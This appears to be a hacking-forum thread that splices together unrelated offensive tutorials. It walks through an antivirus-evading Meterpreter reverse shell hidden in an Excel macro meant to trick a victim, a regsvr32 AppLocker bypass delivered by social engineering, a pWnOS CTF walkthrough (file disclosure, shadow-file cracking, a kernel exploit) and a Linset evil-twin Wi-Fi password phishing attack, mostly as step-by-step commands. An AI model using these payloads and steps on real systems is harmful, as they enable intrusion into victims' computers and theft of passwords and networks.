Login

**NINZA** · 04-24-2020, 01:09 PM

0			0

Veil-Evasion is a powerful tool to generate an executable payload that bypasses common antivirus solutions.

To install veil-evasion on your Kali Linux, type :

apt-get install veil-evasion
1
apt-get install veil-evasion

After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:

veil-evasion
1
veil-evasion

To see the options of payloads type list

We can see a menu of the available payloads to use. There are plenty of payloads to use.
[Image: 2.png?w=687&ssl=1]

We will be using the payload id-24. We type the command:
use powershell/meterpreter/rev_tcp
1
use powershell/meterpreter/rev_tcp
After that set localhost(Your PC’s IP). In my case, it is 192.168.0.122. Hence:
set lhost 192.168.0.122
set lport 4444
1
2
set lhost 192.168.0.122
set lport 4444
And then generate the payload:
generate
1
generate
[Image: 3.png?w=687&ssl=1]

Enter the name of the file. Let the name of the file to be generated be “demo“. Therefore;
demo
1
demo
[Image: 4.png?w=687&ssl=1]

Now, the Veil-Evasion tool has created a bat file in PowerShell code in the directory:
/var/lib/veil-evasion/output/source/demo.bat
1
/var/lib/veil-evasion/output/source/demo.bat
Now, open a new terminal and open veil-evasion again( using command ‘veil-evasion’) and then type:
use auxiliary/macro_converter
1
use auxiliary/macro_converter
macro_converter converts the bat file into a readable text file. Under this, type the following commands to generate a text file:
set POSH_BATCH /var/lib/veil-evasion/output/source/demo.bat
generate
1
2
set POSH_BATCH /var/lib/veil-evasion/output/source/demo.bat
generate
[Image: 5.png?w=687&ssl=1]

This generates a text file in /var/lib/veil-evasion/output directory.
[Image: 7.png?w=687&ssl=1]

Copy the code written in the generated text file.

Now open windows->New Microsoft Office Excel Worksheet->view(on the top bar)->macro

Enter the macro name->create

Then in the Macro editing area(or the workbook) copy paste the code present in “demo1.txt” to the workbook and save the macro.

Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).

Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.

Now, all you have to do is wait for the victim to open the Excel file and enable the Macros option.

Meanwhile, go to Kali Linux terminal and open Metasploit framework(>msfconsole) and type the following commands:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.122
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.122
set lport 4444
exploit

This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts a .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.

Exploit Targets

Windows 7/8/8.1/10

Requirement

Attacker: kali Linux

Victim PC: Windows 10

Open Kali terminal type msfconsole

use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit (regsvr32_applocker_bypass_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (regsvr32_applocker_bypass_server)>set lhost 192.168.0.124 (IP of Local Host)
msf exploit (regsvr32_applocker_bypass_server)>set srvhost 192.168.0.124
msf exploit (regsvr32_applocker_bypass_server)>set srvport 8080
msf exploit (regsvr32_applocker_bypass_server)>exploit
1
2
3
4
5
6
use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit (regsvr32_applocker_bypass_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (regsvr32_applocker_bypass_server)>set lhost 192.168.0.124 (IP of Local Host)
msf exploit (regsvr32_applocker_bypass_server)>set srvhost 192.168.0.124
msf exploit (regsvr32_applocker_bypass_server)>set srvport 8080
msf exploit (regsvr32_applocker_bypass_server)>exploit
[Image: 2.png?w=687&ssl=1]

Now, we have to copy the regsvr32 code generated in victim’s run bar on PC using social engineering method.

As soon as we do that, we will get access to the victim’s PC.

Now type sessions –I to display sessions opened when the victim opens the link

Now the session has opened type sysinfo to get system information, then type shell to enter into Victims command prompt.

Today we are going to solve another CTF challenge “pWnOS-1.0” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate. You can download it from here

[To see content please register here]

Vulnerabilities:

Arbitrary File Disclosure
Privilege Escalation
Weak Credentials

Penetrating Methodologies:

Network Scanning (Nmap)
Exploiting web application (Metasploit)
Extracting arbitrary file
1st Method
SSH Brute-force
Spawning TTY shell (Via SSH RSA key)
Kernel Privilege Escalation
2nd Method
Cracking password hashes (John the ripper)
Spawning TTY shell (via SSH login)
Kernel Privilege Escalation

Let’s Begin!!
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.105 is my target IP, you will get yours.
[Image: 1.png?w=687&ssl=1]

Further, let’s enumerate open and protocols information in the target’s network with help of nmap following command:
nmap –A 192.168.1.105
1
nmap –A 192.168.1.105
From its result, we found port 22 for SSH and 80, 1000 for HTTP are open. Moreover webmin – a web interface is running over port 1000.
[Image: 2.png?w=687&ssl=1]

So I check related its exploit inside Metasploit and luckily found it can be exploited by nasty people to disclose potentially sensitive information. So with help of the following command, we execute this exploit to extract /etc/passwd file from inside the victim’s VM.
use auxiliary/admin/webmin/file_disclosure
msf auxiliary(file_disclosure) > set rhost 192.168.1.105
msf auxiliary(file_disclosure) > exploit
1
2
3
use auxiliary/admin/webmin/file_disclosure
msf auxiliary(file_disclosure) > set rhost 192.168.1.105
msf auxiliary(file_disclosure) > exploit
As you can observe we have fetched available username of the victim’s system.
[Image: 5.png?w=687&ssl=1]

msf auxiliary(file_disclosure) > set rpath /etc/shadow
msf auxiliary(file_disclosure) > exploit
1
2
msf auxiliary(file_disclosure) > set rpath /etc/shadow
msf auxiliary(file_disclosure) > exploit
As you can observe we have also fetched a shadow file of the victim’s system which holds password hashes.
[Image: 6.png?w=687&ssl=1]

msf auxiliary(file_disclosure) > set rpath /home/Obama/.ssh/authorized_keys
msf auxiliary(file_disclosure) > exploit
1
2
msf auxiliary(file_disclosure) > set rpath /home/Obama/.ssh/authorized_keys
msf auxiliary(file_disclosure) > exploit
As you can observe that we got SSH authorized key and we can also enumerate username from inside the password. Now to obtain RSA key of SSH we can apply brute-force attack valid combination of authorized key and RSA key.
[Image: 8.png?w=687&ssl=1]

1st Method to Exploit
To do so we downloaded a tar file with help of the following command.
wget

[To see content please register here]

1
wget

[To see content please register here]

Then extract the tar file with help of the following command:
tar vxjf 5622.tar.bz2
1
tar vxjf 5622.tar.bz2
[Image: 17.png?w=687&ssl=1]

Move into extract folder and execute following for Grabbing a valid combination of a key.
cd rsa
grep -lr {authorized_key}
1
2
cd rsa
grep -lr {authorized_key}
Great, we successfully got rsa_key for the authorized key.
[Image: 19.png?w=687&ssl=1]

Let’s login into SSH using above enumerated credential
ssh -i 2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub [email protected]
1
ssh -i 2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub [email protected]
Yippeeee!! We logged in successfully, let’s find kernel details and then search its exploit.
uname -a
1
uname -a
[Image: 20.png?w=687&ssl=1]

So we found C-program file for exploit 5092 inside kali, let’s transfer it into Victim’s machine.
[Image: 21.png?w=687&ssl=1]

Inside victim’s shell, we run following to download kernel exploit in his VM and compile it then Got root access on executing
cd /tmp
wget

[To see content please register here]

gcc 5092.c -o shell
chmod 777 shell
./shell
1
2
3
4
5
cd /tmp
wget

[To see content please register here]

gcc 5092.c -o shell
chmod 777 shell
./shell
Booommm! Here we have Root access.
[Image: 22.png?w=687&ssl=1]

2nd Method
As you have seen that with the help of Metasploit exploit we successfully fetched information of /etc/shadow file. So with the help of John, we can crack the hash password of shadow file.
john --wordlist=/usr/share/wordlists/rockyou.txt pass
1
john --wordlist=/usr/share/wordlists/rockyou.txt pass
So we got password h4ckm3 for VMware, let’s use it for SSH login.
[Image: 23.png?w=687&ssl=1]

ssh [email protected]
1
ssh [email protected]
Now repeat above step for root privilege escalation and after exploiting its kernel, you get the root as shown in the image.
[Image: 24.png?w=687&ssl=1]

Linset is a tool for Evil twin attack
How it works

Scan the networks.
Select network.
Capture handshake (can be used without handshake)
We choose one of several web interfaces tailored for me (thanks to the collaboration of the users)
Mounts one FakeAP imitating the original
A DHCP server is created on FakeAP
It creates a DNS server to redirect all requests to the Host
The web server with the selected interface is launched
The mechanism is launched to check the validity of the passwords that will be introduced
It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password.
The attack will stop after the correct password checking

First of all download Linset from github with command:
git clone

[To see content please register here]

and then change the permissions of the linset script with command:

chmod +x linset

and then execute it with command:

./linset

After execution it will ask to choose the interface so select wlan0 for wireless extension which will put it into monitor mode.

Then it will ask to select the channel so enter 1 to select all the channels.
[Image: 2.png?w=687&ssl=1]

Now the monitor mode will listen to all the available wifi connections , so wait till your target appears and then press ctrl^c.

Now it will list all the AP’s with their SSID ,id no. and signal strength , so enter the id of your target and hit Enter as in my case i have selected rajlab by entering 1.

Now select Hostapd by entering 1 which will help in creating Fake AP.
[Image: 5.png?w=687&ssl=1]

Now hit Enter for using default path to save the capture file or you can give the custom path to save the capture file which will ask to select the method for cracking the handshake so select 1 for aircrack-ng.

Now select 1 to de-authenticate all the clients connected to the target AP to capture the handshake.
[Image: 8.png?w=687&ssl=1]

Now when the handshake is captured you will see it on right top corner of the new window and then enter 1 on the menu window as we have captured the handshake.

Now select 1 for web interface which will be presented to the victim when he will connect to our fake AP.

Now it will ask for language selection of the web interface so enter 1 for English.
[Image: 11.png?w=687&ssl=1]

Now 4 terminal windows will be opened of which one will create the Fake AP , one will be regularly de-authenticating all the clients and one will show all the info of the AP.

Now as you can see there are 2 rajlab AP are present of which one is fake and open and the other is the original but the clients will not be able to connect to the original one due to our deauth attack so they will be forced to connect to our fake AP.

After connecting to the Fake AP it will redirect the victim browser to below given web-page which will require the victim to enter the original AP password as the attack will only stop when the victim will enter correct password.

After submitting the correct password , the attack will be stopped and a message will be generated that your connection will be restored .

As you can see in my case victim entered the correct password and we found the correct key as:
KEY FOUND! [ raj123987 ]
[Image: 16.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis